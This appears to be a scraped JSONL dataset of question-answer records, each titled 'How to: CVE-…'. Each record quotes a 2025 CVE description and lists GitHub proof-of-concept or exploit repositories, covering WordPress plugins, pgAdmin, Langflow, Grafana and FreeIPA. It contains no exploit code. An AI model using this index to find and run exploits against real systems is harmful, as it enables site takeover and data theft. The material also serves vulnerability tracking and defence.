"question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.152926"}
{"id": "gh_e2fe39b032fe", "question": "How to: CVE-2025-2907 (2025-04-26)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nThe Order Delivery Date WordPress plugin before 12.3.1 does not have authorization and CSRF checks when importing settings. Furthermore it also lacks proper checks to only update options relevant to the Order Delivery Date WordPress plugin before 12.3.1. This leads to attackers being able to modify the default_user_role to administrator and users_can_register, allowing them to register as an administrator of the site for complete site takeover.\n```\n- [Yucaerin/CVE-2025-2907](https://github.com/Yucaerin/CVE-2025-2907)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.152931"}
{"id": "gh_176c2c384d3d", "question": "How to: CVE-2025-2945 (2025-04-03)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nRemote Code Execution security vulnerability in pgAdmin 4  (Query Tool and Cloud Deployment modules).\\n\\nThe vulnerability is associated with the 2 POST endpoints; /sqleditor/query_tool/download, where the query_commited parameter and /cloud/deploy endpoint, where the high_availability parameter is unsafely passed to the Python eval() function, allowing arbitrary code execution.\\n\\n\\nThis issue affects pgAdmin 4: before 9.2.\n```\n- [abrewer251/CVE-2025-2945_PgAdmin_PoC](https://github.com/abrewer251/CVE-2025-2945_PgAdmin_PoC)\n- [Cycloctane/cve-2025-2945-poc](https://github.com/Cycloctane/cve-2025-2945-poc)\n- [I3r1h0n/pgAdminOpendoor](https://github.com/I3r1h0n/pgAdminOpendoor)\n- [ExtremeUday/CVE-2025-2945-pgAdmin4-Authenticated-RCE-PoC-](https://github.com/ExtremeUday/CVE-2025-2945-pgAdmin4-Authenticated-RCE-PoC-)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.152936"}
{"id": "gh_69da6e7f3569", "question": "How to: CVE-2025-2995 (2025-03-31)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nIn Tenda FH1202 1.2.0.14(408) wurde eine kritische Schwachstelle gefunden. Hierbei betrifft es unbekannten Programmcode der Datei /goform/SysToolChangePwd der Komponente Web Management Interface. Mittels Manipulieren mit unbekannten Daten kann eine improper access controls-Schwachstelle ausgenutzt werden. Umgesetzt werden kann der Angriff über das Netzwerk. Der Exploit steht zur öffentlichen Verfügung.\n```\n- [huynguyen12536/CVE-2025-2995](https://github.com/huynguyen12536/CVE-2025-2995)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.152941"}
{"id": "gh_2b2f989ed501", "question": "How to: CVE-2025-3047 (2025-03-31)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nWhen running the AWS Serverless Application Model Command Line Interface (SAM CLI) build process with Docker and symlinks are included in the build files, the container environment allows a user to access privileged files on the host by leveraging the elevated permissions granted to the tool. A user could leverage the elevated permissions to access restricted files via symlinks and copy them to a more permissive location on the container. \\n\\nUsers should upgrade to v1.133.0 or newer and ensure any forked or derivative code is patched to incorporate the new fixes.\n```\n- [murataydemir/AWS-SAM-CLI-Vulnerabilities](https://github.com/murataydemir/AWS-SAM-CLI-Vulnerabilities)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.152946"}
{"id": "gh_acea0b67472d", "question": "How to: CVE-2025-3102 (2025-04-10)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nThe SureTriggers: All-in-One Automation Platform plugin for WordPress is vulnerable to an authentication bypass leading to administrative account creation due to a missing empty value check on the 'secret_key' value in the 'autheticate_user' function in all versions up to, and including, 1.0.78. This makes it possible for unauthenticated attackers to create administrator accounts on the target website when the plugin is installed and activated but not configured with an API key.\n```\n- [itsismarcos/vanda-CVE-2025-3102](https://github.com/itsismarcos/vanda-CVE-2025-3102)\n- [Nxploited/CVE-2025-3102](https://github.com/Nxploited/CVE-2025-3102)\n- [rhz0d/CVE-2025-3102](https://github.com/rhz0d/CVE-2025-3102)\n- [dennisec/CVE-2025-3102](https://github.com/dennisec/CVE-2025-3102)\n- [SUPRAAA-1337/CVE-2025-3102](https://github.com/SUPRAAA-1337/CVE-2025-3102)\n- [SUPRAAA-1337/CVE-2025-3102_v2](https://github.com/SUPRAAA-1337/CVE-2025-3102_v2)\n- [SUPRAAA-1337/CVE-2025-3102-exploit](https://github.com/SUPRAAA-1337/CVE-2025-3102-exploit)\n- [0xgh057r3c0n/CVE-2025-3102](https://github.com/0xgh057r3c0n/CVE-2025-3102)\n- [baribut/CVE-2025-3102](https://github.com/baribut/CVE-2025-3102)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.152957"}
{"id": "gh_122d91c89962", "question": "How to: CVE-2025-3243 (2025-04-04)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nEine kritische Schwachstelle wurde in code-projects Patient Record Management System 1.0 gefunden. Hierbei geht es um eine nicht exakt ausgemachte Funktion der Datei /dental_form.php. Durch Beeinflussen des Arguments itr_no/dental_no mit unbekannten Daten kann eine sql injection-Schwachstelle ausgenutzt werden. Umgesetzt werden kann der Angriff über das Netzwerk. Der Exploit steht zur öffentlichen Verfügung.\n```\n- [TeneBrae93/CVE-2025-3243](https://github.com/TeneBrae93/CVE-2025-3243)\n- [ladosudeste/CVE-2025-3243](https://github.com/ladosudeste/CVE-2025-3243)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.152962"}
{"id": "gh_738adb78301b", "question": "How to: CVE-2025-3248 (2025-04-07)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nLangflow versions prior to 1.3.0 are susceptible to code injection in \\nthe /api/v1/validate/code endpoint. A remote and unauthenticated attacker can send crafted HTTP requests to execute arbitrary\\ncode.\n```\n- [xuemian168/CVE-2025-3248](https://github.com/xuemian168/CVE-2025-3248)\n- [PuddinCat/CVE-2025-3248-POC](https://github.com/PuddinCat/CVE-2025-3248-POC)\n- [verylazytech/CVE-2025-3248](https://github.com/verylazytech/CVE-2025-3248)\n- [Praison001/CVE-2025-3248](https://github.com/Praison001/CVE-2025-3248)\n- [vigilante-1337/CVE-2025-3248](https://github.com/vigilante-1337/CVE-2025-3248)\n- [Vip3rLi0n/CVE-2025-3248](https://github.com/Vip3rLi0n/CVE-2025-3248)\n- [tiemio/RCE-CVE-2025-3248](https://github.com/tiemio/RCE-CVE-2025-3248)\n- [ynsmroztas/CVE-2025-3248-Langflow-RCE](https://github.com/ynsmroztas/CVE-2025-3248-Langflow-RCE)\n- [imbas007/CVE-2025-3248](https://github.com/imbas007/CVE-2025-3248)\n- [0xgh057r3c0n/CVE-2025-3248](https://github.com/0xgh057r3c0n/CVE-2025-3248)\n- [zapstiko/CVE-2025-3248](https://github.com/zapstiko/CVE-2025-3248)\n- [Ashwesker/Ashwesker-CVE-2025-3248](https://github.com/Ashwesker/Ashwesker-CVE-2025-3248)\n- [0-d3y/langflow-rce-exploit](https://github.com/0-d3y/langflow-rce-exploit)\n- [dennisec/CVE-2025-3248](https://github.com/dennisec/CVE-2025-3248)\n- [dennisec/Mass-CVE-2025-3248](https://github.com/dennisec/Mass-CVE-2025-3248)\n- [ill-deed/Langflow-CVE-2025-3248-Multi-target](https://github.com/ill-deed/Langflow-CVE-2025-3248-Multi-target)\n- [r0otk3r/CVE-2025-3248](https://github.com/r0otk3r/CVE-2025-3248)\n- [min8282/CVE-2025-3248](https://github.com/min8282/CVE-2025-3248)\n- [EQSTLab/CVE-2025-3248](https://github.com/EQSTLab/CVE-2025-3248)\n- [wand3rlust/CVE-2025-3248](https://github.com/wand3rlust/CVE-2025-3248)\n- [drackyjr/cve-2025-3248-exploit](https://github.com/drackyjr/cve-2025-3248-exploit)\n- [b0ySie7e/CVE-2025-3248-POC](https://github.com/b0ySie7e/CVE-2025-3248-POC)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.152969"}
{"id": "gh_8404f3f04b7b", "question": "How to: CVE-2025-3419 (2025-05-08)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nThe Event Manager, Events Calendar, Tickets, Registrations – Eventin plugin for WordPress is vulnerable to arbitrary file read in all versions up to, and including, 4.0.26 via the proxy_image() function. This makes it possible for unauthenticated attackers to read the contents of arbitrary files on the server, which can contain sensitive information.\n```\n- [Yucaerin/CVE-2025-3419](https://github.com/Yucaerin/CVE-2025-3419)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.152975"}
{"id": "gh_052ba316703b", "question": "How to: CVE-2025-3464 (2025-06-16)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nA race condition vulnerability exists in Armoury Crate. This vulnerability arises from a Time-of-check Time-of-use issue, potentially leading to authentication bypass.\\nRefer to the 'Security Update for Armoury Crate App' section on the ASUS Security Advisory for more information.\n```\n- [jeffaf/CVE-2025-3464-AsIO3-LPE](https://github.com/jeffaf/CVE-2025-3464-AsIO3-LPE)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.152979"}
{"id": "gh_6295c68a27dc", "question": "How to: CVE-2025-3500 (2025-12-01)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nInteger Overflow or Wraparound vulnerability in Avast Antivirus (25.1.981.6) on Windows allows Privilege Escalation.This issue affects Antivirus: from 25.1.981.6 before 25.3.\n```\n- [chicken3962/CVE-2025-3500-Poc](https://github.com/chicken3962/CVE-2025-3500-Poc)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.152984"}
{"id": "gh_0b88f9672218", "question": "How to: CVE-2025-3515 (2025-06-17)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nThe Drag and Drop Multiple File Upload for Contact Form 7 plugin for WordPress is vulnerable to arbitrary file uploads due to insufficient file type validation in all versions up to, and including, 1.3.8.9. This makes it possible for unauthenticated attackers to bypass the plugin's blacklist and upload .phar or other dangerous file types on the affected site's server, which may make remote code execution possible on the servers that are configured to handle .phar files as executable PHP scripts, particularly in default Apache+mod_php configurations where the file extension is not strictly validated before being passed to the PHP interpreter.\n```\n- [Professor6T9/CVE-2025-3515](https://github.com/Professor6T9/CVE-2025-3515)\n- [brokendreamsclub/CVE-2025-3515](https://github.com/brokendreamsclub/CVE-2025-3515)\n- [ImBIOS/lab-cve-2025-3515](https://github.com/ImBIOS/lab-cve-2025-3515)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.152989"}
{"id": "gh_7201fe6e6a67", "question": "How to: CVE-2025-3568 (2025-04-14)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nIn Webkul Krayin CRM bis 2.1.0 wurde eine Schwachstelle gefunden. Sie wurde als problematisch eingestuft. Hierbei betrifft es unbekannten Programmcode der Datei /admin/settings/users/edit/ der Komponente SVG File Handler. Durch Manipulieren mit unbekannten Daten kann eine cross site scripting-Schwachstelle ausgenutzt werden. Umgesetzt werden kann der Angriff über das Netzwerk. Der Exploit steht zur öffentlichen Verfügung.\n```\n- [shellkraft/CVE-2025-3568](https://github.com/shellkraft/CVE-2025-3568)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.152994"}
{"id": "gh_93d2664ebcf6", "question": "How to: CVE-2025-3604 (2025-04-24)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nThe Flynax Bridge plugin for WordPress is vulnerable to privilege escalation via account takeover in all versions up to, and including, 2.2.0. This is due to the plugin not properly validating a user's identity prior to updating their details like email. This makes it possible for unauthenticated attackers to change arbitrary user's email addresses, including administrators, and leverage that to reset the user's password and gain access to their account.\n```\n- [Nxploited/CVE-2025-3604](https://github.com/Nxploited/CVE-2025-3604)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.152999"}
{"id": "gh_bea70116ef4e", "question": "How to: CVE-2025-3605 (2025-05-09)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nThe Frontend Login and Registration Blocks plugin for WordPress is vulnerable to privilege escalation via account takeover in all versions up to, and including, 1.0.7. This is due to the plugin not properly validating a user's identity prior to updating their details like email via the flr_blocks_user_settings_handle_ajax_callback() function. This makes it possible for unauthenticated attackers to change arbitrary user's email addresses, including administrators, and leverage that to reset the user's password and gain access to their account.\n```\n- [Nxploited/CVE-2025-3605](https://github.com/Nxploited/CVE-2025-3605)\n- [GadaLuBau1337/CVE-2025-3605](https://github.com/GadaLuBau1337/CVE-2025-3605)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.153004"}
{"id": "gh_6faefe2eea67", "question": "How to: CVE-2025-3639 (2025-08-18)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nLiferay Portal 7.3.0 through 7.4.3.132, and Liferay DXP 2025.Q1 through 2025.Q1.6, 2024.Q4.0 through 2024.Q4.7, 2024.Q3.1 through 2024.Q3.13, 2024.Q2.0 through 2024.Q2.13, 2024.Q1.1 through 2024.Q1.15, 7.4 GA through update 92 and 7.3 GA through update 36 allows unauthenticated users with valid credentials to bypass the login process by changing the POST method to GET, once the site has MFA enabled.\n```\n- [6lj/CVE-2025-3639](https://github.com/6lj/CVE-2025-3639)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.153014"}
{"id": "gh_ba1482d8afc9", "question": "How to: CVE-2025-3776 (2025-04-24)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nThe Verification SMS with TargetSMS plugin for WordPress is vulnerable to limited Remote Code Execution in all versions up to, and including, 1.5 via the 'targetvr_ajax_handler' function. This is due to a lack of validation on the type of function that can be called. This makes it possible for unauthenticated attackers to execute any callable function on the site, such as phpinfo().\n```\n- [Nxploited/CVE-2025-3776](https://github.com/Nxploited/CVE-2025-3776)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.153019"}
{"id": "gh_b789303cbf13", "question": "How to: CVE-2025-3855 (2025-04-22)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nEine Schwachstelle wurde in CodeCanyon RISE Ultimate Project Manager 3.8.2 gefunden. Sie wurde als problematisch eingestuft. Davon betroffen ist unbekannter Code der Datei /index.php/team_members/save_profile_image/ der Komponente Profile Picture Handler. Mit der Manipulation des Arguments profile_image_file mit unbekannten Daten kann eine improper control of resource identifiers-Schwachstelle ausgenutzt werden. Der Angriff kann über das Netzwerk erfolgen. Der Exploit steht zur öffentlichen Verfügung.\n```\n- [L4zyFox/RISE-Ultimate_Project_Manager_e_CRM](https://github.com/L4zyFox/RISE-Ultimate_Project_Manager_e_CRM)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.153024"}
{"id": "gh_94c57b887377", "question": "How to: CVE-2025-3969 (2025-04-27)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nEine Schwachstelle wurde in codeprojects News Publishing Site Dashboard 1.0 ausgemacht. Sie wurde als kritisch eingestuft. Davon betroffen ist unbekannter Code der Datei /edit-category.php der Komponente Edit Category Page. Durch Beeinflussen des Arguments category_image mit unbekannten Daten kann eine unrestricted upload-Schwachstelle ausgenutzt werden. Der Angriff kann über das Netzwerk erfolgen. Der Exploit steht zur öffentlichen Verfügung.\n```\n- [Stuub/CVE-2025-3969-Exploit](https://github.com/Stuub/CVE-2025-3969-Exploit)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.153034"}
{"id": "gh_05b2d353d1fc", "question": "How to: CVE-2025-4094 (2025-05-21)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nThe DIGITS: WordPress Mobile Number Signup and Login WordPress plugin before 8.4.6.1 does not rate limit OTP validation attempts, making it straightforward for attackers to bruteforce them.\n```\n- [starawneh/CVE-2025-4094](https://github.com/starawneh/CVE-2025-4094)\n- [POCPioneer/CVE-2025-4094-POC](https://github.com/POCPioneer/CVE-2025-4094-POC)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.153038"}
{"id": "gh_c1b6d72070a3", "question": "How to: CVE-2025-4123 (2025-05-22)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nA cross-site scripting (XSS) vulnerability exists in Grafana caused by combining a client path traversal and open redirect. This allows attackers to redirect users to a website that hosts a frontend plugin that will execute arbitrary JavaScript. This vulnerability does not require editor permissions and if anonymous access is enabled, the XSS will work. If the Grafana Image Renderer plugin is installed, it is possible to exploit the open redirect to achieve a full read SSRF.\\n\\nThe default Content-Security-Policy (CSP) in Grafana will block the XSS though the `connect-src` directive.\n```\n- [NightBloodZ/CVE-2025-4123](https://github.com/NightBloodZ/CVE-2025-4123)\n- [kk12-30/CVE-2025-4123](https://github.com/kk12-30/CVE-2025-4123)\n- [imbas007/CVE-2025-4123-template](https://github.com/imbas007/CVE-2025-4123-template)\n- [ynsmroztas/CVE-2025-4123-Exploit-Tool-Grafana-](https://github.com/ynsmroztas/CVE-2025-4123-Exploit-Tool-Grafana-)\n- [Ashwesker/Ashwesker-CVE-2025-4123](https://github.com/Ashwesker/Ashwesker-CVE-2025-4123)\n- [punitdarji/Grafana-cve-2025-4123](https://github.com/punitdarji/Grafana-cve-2025-4123)\n- [ItsNee/Grafana-CVE-2025-4123-POC](https://github.com/ItsNee/Grafana-CVE-2025-4123-POC)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.153044"}
{"id": "gh_c76990151e15", "question": "How to: CVE-2025-4126 (2025-05-15)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nThe EG-Series plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's [series] shortcode in all versions up to, and including, 2.1.1 due to insufficient input sanitization and output escaping on user supplied attributes in the shortcode_title function. This makes it possible for authenticated attackers - with contributor-level access and above, on sites with the Classic Editor plugin activated - to inject arbitrary JavaScript code in the titletag attribute that will execute whenever a user access an injected page.\n```\n- [Slow-Mist/CVE-2025-4126](https://github.com/Slow-Mist/CVE-2025-4126)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.153049"}
{"id": "gh_57a19c062da4", "question": "How to: CVE-2025-4190 (2025-05-17)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nThe CSV Mass Importer WordPress plugin through 1.2 does not properly validate uploaded files, allowing high privilege users such as admin to upload arbitrary files on the server even when they should not be allowed to (for example in multisite setup)\n```\n- [Nxploited/CVE-2025-4190](https://github.com/Nxploited/CVE-2025-4190)\n- [GadaLuBau1337/CVE-2025-4190](https://github.com/GadaLuBau1337/CVE-2025-4190)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.153054"}
{"id": "gh_a244ecb10932", "question": "How to: CVE-2025-4275 (2025-06-11)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nA vulnerability in the digital signature verification process does not properly validate variable attributes which allows an attacker to bypass signature verification by creating a non-authenticated NVRAM variable. An attacker may to execute arbitrary signed UEFI code and bypass Secure Boot.\n```\n- [NikolajSchlej/Hydroph0bia](https://github.com/NikolajSchlej/Hydroph0bia)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.153058"}
{"id": "gh_a783f752cb8b", "question": "How to: CVE-2025-4322 (2025-05-20)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nThe Motors theme for WordPress is vulnerable to privilege escalation via account takeover in all versions up to, and including, 5.6.67. This is due to the theme not properly validating a user's identity prior to updating their password. This makes it possible for unauthenticated attackers to change arbitrary user passwords, including those of administrators, and leverage that to gain access to their account.\n```\n- [IndominusRexes/CVE-2025-4322-Exploit](https://github.com/IndominusRexes/CVE-2025-4322-Exploit)\n- [Yucaerin/CVE-2025-4322](https://github.com/Yucaerin/CVE-2025-4322)\n- [Ashwesker/Ashwesker-CVE-2025-4322](https://github.com/Ashwesker/Ashwesker-CVE-2025-4322)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.153063"}
{"id": "gh_4d4d6718b174", "question": "How to: CVE-2025-4334 (2025-06-26)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nThe Simple User Registration plugin for WordPress is vulnerable to Privilege Escalation in all versions up to, and including, 6.3. This is due to insufficient restrictions on user meta values that can be supplied during registration. This makes it possible for unauthenticated attackers to register as an administrator.\n```\n- [Nxploited/CVE-2025-4334](https://github.com/Nxploited/CVE-2025-4334)\n- [0xgh057r3c0n/CVE-2025-4334](https://github.com/0xgh057r3c0n/CVE-2025-4334)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.153068"}
{"id": "gh_9f13380e50ac", "question": "How to: CVE-2025-4336 (2025-05-24)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nThe eMagicOne Store Manager for WooCommerce plugin for WordPress is vulnerable to arbitrary file uploads due to missing file type validation in the set_file() function in all versions up to, and including, 1.2.5. This makes it possible for unauthenticated attackers to upload arbitrary files on the affected site's server which may make remote code execution possible. This is only exploitable by unauthenticated attackers in default configurations where the the default password is left as 1:1, or where the attacker gains access to the credentials.\n```\n- [d0n601/CVE-2025-4336](https://github.com/d0n601/CVE-2025-4336)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.153073"}
{"id": "gh_7853a702945a", "question": "How to: CVE-2025-4380 (2025-07-02)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nThe Ads Pro Plugin - Multi-Purpose WordPress Advertising Manager plugin for WordPress is vulnerable to Local File Inclusion in all versions up to, and including, 4.89 via the 'bsa_template' parameter of the `bsa_preview_callback` function. This makes it possible for unauthenticated attackers to include and execute arbitrary files on the server, allowing the execution of any PHP code in those files. This can be used to bypass access controls, obtain sensitive data, or achieve code execution in cases .php files can can be uploaded and included, or already exist on the site.\n```\n- [r0otk3r/CVE-2025-4380](https://github.com/r0otk3r/CVE-2025-4380)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.153078"}
{"id": "gh_d6cc26942158", "question": "How to: CVE-2025-4389 (2025-05-17)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nThe Crawlomatic Multipage Scraper Post Generator plugin for WordPress is vulnerable to arbitrary file uploads due to missing file type validation in the crawlomatic_generate_featured_image() function in all versions up to, and including, 2.6.8.1. This makes it possible for unauthenticated attackers to upload arbitrary files on the affected site's server which may make remote code execution possible.\n```\n- [Yucaerin/CVE-2025-4389](https://github.com/Yucaerin/CVE-2025-4389)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.153082"}
{"id": "gh_e860ff7f5663", "question": "How to: CVE-2025-4403 (2025-05-09)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nThe Drag and Drop Multiple File Upload for WooCommerce plugin for WordPress is vulnerable to arbitrary file uploads in all versions up to, and including, 1.1.6 due to accepting a user‐supplied supported_type string and the uploaded filename without enforcing real extension or MIME checks within the upload() function. This makes it possible for unauthenticated attackers to upload arbitrary files on the affected site's server which may make remote code execution possible.\n```\n- [Yucaerin/CVE-2025-4403](https://github.com/Yucaerin/CVE-2025-4403)\n- [Ashwesker/Ashwesker-CVE-2025-4403](https://github.com/Ashwesker/Ashwesker-CVE-2025-4403)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.153088"}
{"id": "gh_0e128ee0d58d", "question": "How to: CVE-2025-4404 (2025-06-17)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nA privilege escalation from host to domain vulnerability was found in the FreeIPA project. The FreeIPA package fails to validate the uniqueness of the `krbCanonicalName` for the admin account by default, allowing users to create services with the same canonical name as the REALM admin. When a successful attack happens, the user can retrieve a Kerberos ticket in the name of this service, containing the admin@REALM credential. This flaw allows an attacker to perform administrative tasks over the REALM, leading to access to sensitive data and sensitive data exfiltration.\n```\n- [Im10n/CVE-2025-4404-POC](https://github.com/Im10n/CVE-2025-4404-POC)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.153093"}
